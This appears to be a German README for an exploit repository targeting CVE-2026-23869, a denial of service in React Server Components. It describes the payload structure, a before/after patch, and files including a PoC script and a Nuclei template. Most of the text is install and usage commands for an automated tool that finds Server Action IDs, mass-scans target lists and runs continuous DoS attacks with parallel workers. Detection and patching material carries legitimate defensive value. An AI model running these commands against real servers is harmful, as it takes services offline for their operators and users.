
Automatisiertes Exploit-Tool für CVE-2026-23869, einen Remote-DoS in React Server Components. Enthält PoC, Nuclei-Template und Scan-Skripte zur Erkennung und Ausnutzung.
Nicht authentifizierter Remote-Denial-of-Service über das React-Flight-Protokoll
Quadratische CPU-Erschöpfung bei der Map-Deserialisierung von Server Components
Überblick • Funktionsweise • Tools • Installation • Verwendung • Nuclei • Behebung • Haftungsausschluss
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-23869 |
| Alias | React2DoS |
| CVSS-Score | 7.5 (Hoch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (Unkontrollierter Ressourcenverbrauch) |
| Typ | Nicht authentifizierter Remote-Denial-of-Service |
| Entdeckt von | Yohann Sillam (Imperva Threat Research) |
| Betroffen | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| Behoben | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
Eine kritische Denial-of-Service-Schwachstelle existiert in der Deserialisierung des Flight-Protokolls von React Server Components. Ein nicht authentifizierter Angreifer kann eine einzelne präparierte HTTP-Anfrage an einen beliebigen Server Action-Endpunkt der Next.js App Router senden, was eine quadratische O(n²)-CPU-Erschöpfung verursacht, die den Server für Minuten blockiert.
consumed-Flag bei der Map-DeserialisierungDas React-Flight-Protokoll verwendet spezielle Marker, um Datentypen zu serialisieren. $Q repräsentiert ein Map-Objekt. Wenn der Server eine Nutzlast mit selbstreferenzierenden $Q0-Markern empfängt:
Payload: [ [1,1], [1,1], ...(n gültige Einträge)..., "$Q0", "$Q0", ...(n Referenzen)... ]
Jedes $Q0 löst einen new Map()-Konstruktor aus, der über alle n gültigen Einträge iteriert. Der Map-Konstruktor wirft einen Fehler (weil die Einträge fehlerhaft sind), aber der kritische Fehler ist: das consumed-Flag wird bei einem Fehler nie gesetzt.
Das bedeutet, dass das nächste $Q0 dieselbe Map von Grund auf neu berechnet → was eine O(n²)-Komplexität erzeugt:
n gültige Einträge × n $Q0-Referenzen = n² Map-Konstruktoraufrufe
Beispiel: 65.000 × 65.000 = 4.225.000.000 Operationen
Ergebnis: Eine einzelne Anfrage blockiert die CPU für 5-10+ Minuten
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Angreifer │ ──────────────────────────────────────▶ │ Next.js-Server │
│ │ Header: Next-Action: <action_id> │ │
│ │ Body: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% BLOCKIERT │
└──────────┘ │ für ~5-10 Min │
└──────────────────┘
// ReactFlightReplyServer.js — VOR dem Patch
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Schlägt fehl, setzt aber consumed = true nicht
// Nächstes $Q0 berechnet von Grund auf neu
}
// ReactFlightReplyServer.js — NACH dem Patch (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Fix: Flag VOR der Konstruktion setzen
return new Map(data); // Verhindert wiederholte Neuberechnung
}
| Datei | Beschreibung |
|---|---|
poc.py | Vollautomatisches Exploit-Tool mit 4-Phasen-Pipeline (Recon → Extract → Detect → Exploit) |
CVE-2026-23869.yaml | Nuclei-Erkennungsvorlage mit flussbasierter Orchestrierung |
scan.sh | Wrapper-Skript: httpx-Live-Filterung + Nuclei-Scan |
extract-action-ids.sh | Eigenständiger Server-Action-ID-Extraktor |
# Repository klonen
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Python-Abhängigkeit installieren
pip install requests
# Skripte ausführbar machen
chmod +x poc.py scan.sh extract-action-ids.sh
# Für Nuclei-Vorlagen-Scans
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Für Live-Zielfilterung
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
Geben Sie einfach die URL an — das Tool erledigt alles automatisch:
python3 poc.py -u https://target.com
Was passiert:
# Liste von Domains/IPs scannen
python3 poc.py -L targets.txt
# Mit JSON-Report-Ausgabe
python3 poc.py -L targets.txt -o results.json
# Nur sichere Erkennung
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Einmaliger Exploit
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# Kontinuierlicher DoS (10 Worker)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Optionen:
-u, --url URL Ziel-URL (einzelnes Ziel)
-L, --list DATEI Datei mit Ziel-URLs/IPs (eine pro Zeile)
-a, --action-id ID Server-Action-ID (automatische Extraktion überspringen)
--detect Nur Erkennung — sicher, nicht destruktiv (Standard)
--single Einmaliger Exploit nach der Erkennung
--exploit Kontinuierlicher DoS nach der Erkennung
--extract Nur Action-IDs extrahieren
-l, --length N Payload-Einträge (Standard: 130000)
-w, --workers N Parallele Worker (Standard: 5)
-d, --delay SEK Verzögerung zwischen Anfragen (Standard: 1.0)
-o, --output DATEI JSON-Report speichern
-t, --threads N Parallele Ziele für Listenscan (Standard: 3)
Die ursprüngliche PoC-Syntax funktioniert weiterhin:
python3 poc.py <ACTION_ID> <URL>
# Einzelnes Ziel
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Mehrere Ziele
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos